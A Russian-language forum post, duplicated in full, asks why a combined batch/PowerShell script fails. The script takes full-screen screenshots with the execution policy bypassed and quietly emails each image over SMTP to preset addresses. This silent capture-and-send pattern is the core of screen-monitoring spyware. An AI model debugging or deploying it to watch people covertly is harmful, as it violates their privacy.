rafka
14-05-2023, 15:14
Здравствуйте ,
имеется вот такой код.
если убрать код после :sendmail все работает . а если убрать после :screencode опять таки все работает. То есть по отдельности все работает. а если объединит в одну бат то не работает.
<# :
@echo off
Call :screencode
Call :sendmail
GoTo :EOF
:screencode
:: Create screen directory
IF EXIST "D:\screen" GoTo :ScreenShot
md D:\screen
:ScreenShot
powershell /nop /ex bypass^
"&{[ScriptBlock]::Create((gc '%~f0') -join [Char]10).Invoke()}"
exit /b
#>
(New-Object -ComObject Shell.Application)
Add-Type -AssemblyName System.Windows.Forms
$scr = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object Drawing.Bitmap $scr.Width, $scr.Height
$gfx = [Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($scr.Location, [Drawing.Point]::Empty, $scr.Size)
$gfx.Dispose()
$bmp.Save("D:\screen\" + (date -u %d-%m-%Y-%H-%M-%S) + '.png'),
$bmp.Dispose()
GoTo :EOF
:sendmail
set "mailsender=D:\mailsender.exe"
set "smtpserver=mail.example.com"
set "smtpport=465"
set "smtpuser=vasya@example.com"
set "smtppwd=Password"
set "$_user1=user1@gmail.com"
set "$_user2=user2@gmail.com"
set "smtpsender=sender@example.com"
set "subject=Screen"
set "body=Screenshot"
set "d=D:\screen"
for /f "tokens=2 delims==" %%a in ('set $_') do call :# "%%a"
:#
pushd "%d%"
for /f "delims=" %%a in ('2^>nul dir /a-d/b "*.png"') do (
"%mailsender%" +cc +bc -q -user "%smtpuser%" -pass "%smtppwd%" -t "%~1" -f "%smtpsender%" -auth -smtp "%smtpserver%" -ssl -port "%smtpport%" -sub "%subject%" -M "%body%" -attach "%%a"
)
popd
exit /b
GoTo :EOF
имеется вот такой код.
если убрать код после :sendmail все работает . а если убрать после :screencode опять таки все работает. То есть по отдельности все работает. а если объединит в одну бат то не работает.
<# :
@echo off
Call :screencode
Call :sendmail
GoTo :EOF
:screencode
:: Create screen directory
IF EXIST "D:\screen" GoTo :ScreenShot
md D:\screen
:ScreenShot
powershell /nop /ex bypass^
"&{[ScriptBlock]::Create((gc '%~f0') -join [Char]10).Invoke()}"
exit /b
#>
(New-Object -ComObject Shell.Application)
Add-Type -AssemblyName System.Windows.Forms
$scr = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object Drawing.Bitmap $scr.Width, $scr.Height
$gfx = [Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($scr.Location, [Drawing.Point]::Empty, $scr.Size)
$gfx.Dispose()
$bmp.Save("D:\screen\" + (date -u %d-%m-%Y-%H-%M-%S) + '.png'),
$bmp.Dispose()
GoTo :EOF
:sendmail
set "mailsender=D:\mailsender.exe"
set "smtpserver=mail.example.com"
set "smtpport=465"
set "smtpuser=vasya@example.com"
set "smtppwd=Password"
set "$_user1=user1@gmail.com"
set "$_user2=user2@gmail.com"
set "smtpsender=sender@example.com"
set "subject=Screen"
set "body=Screenshot"
set "d=D:\screen"
for /f "tokens=2 delims==" %%a in ('set $_') do call :# "%%a"
:#
pushd "%d%"
for /f "delims=" %%a in ('2^>nul dir /a-d/b "*.png"') do (
"%mailsender%" +cc +bc -q -user "%smtpuser%" -pass "%smtppwd%" -t "%~1" -f "%smtpsender%" -auth -smtp "%smtpserver%" -ssl -port "%smtpport%" -sub "%subject%" -M "%body%" -attach "%%a"
)
popd
exit /b
GoTo :EOF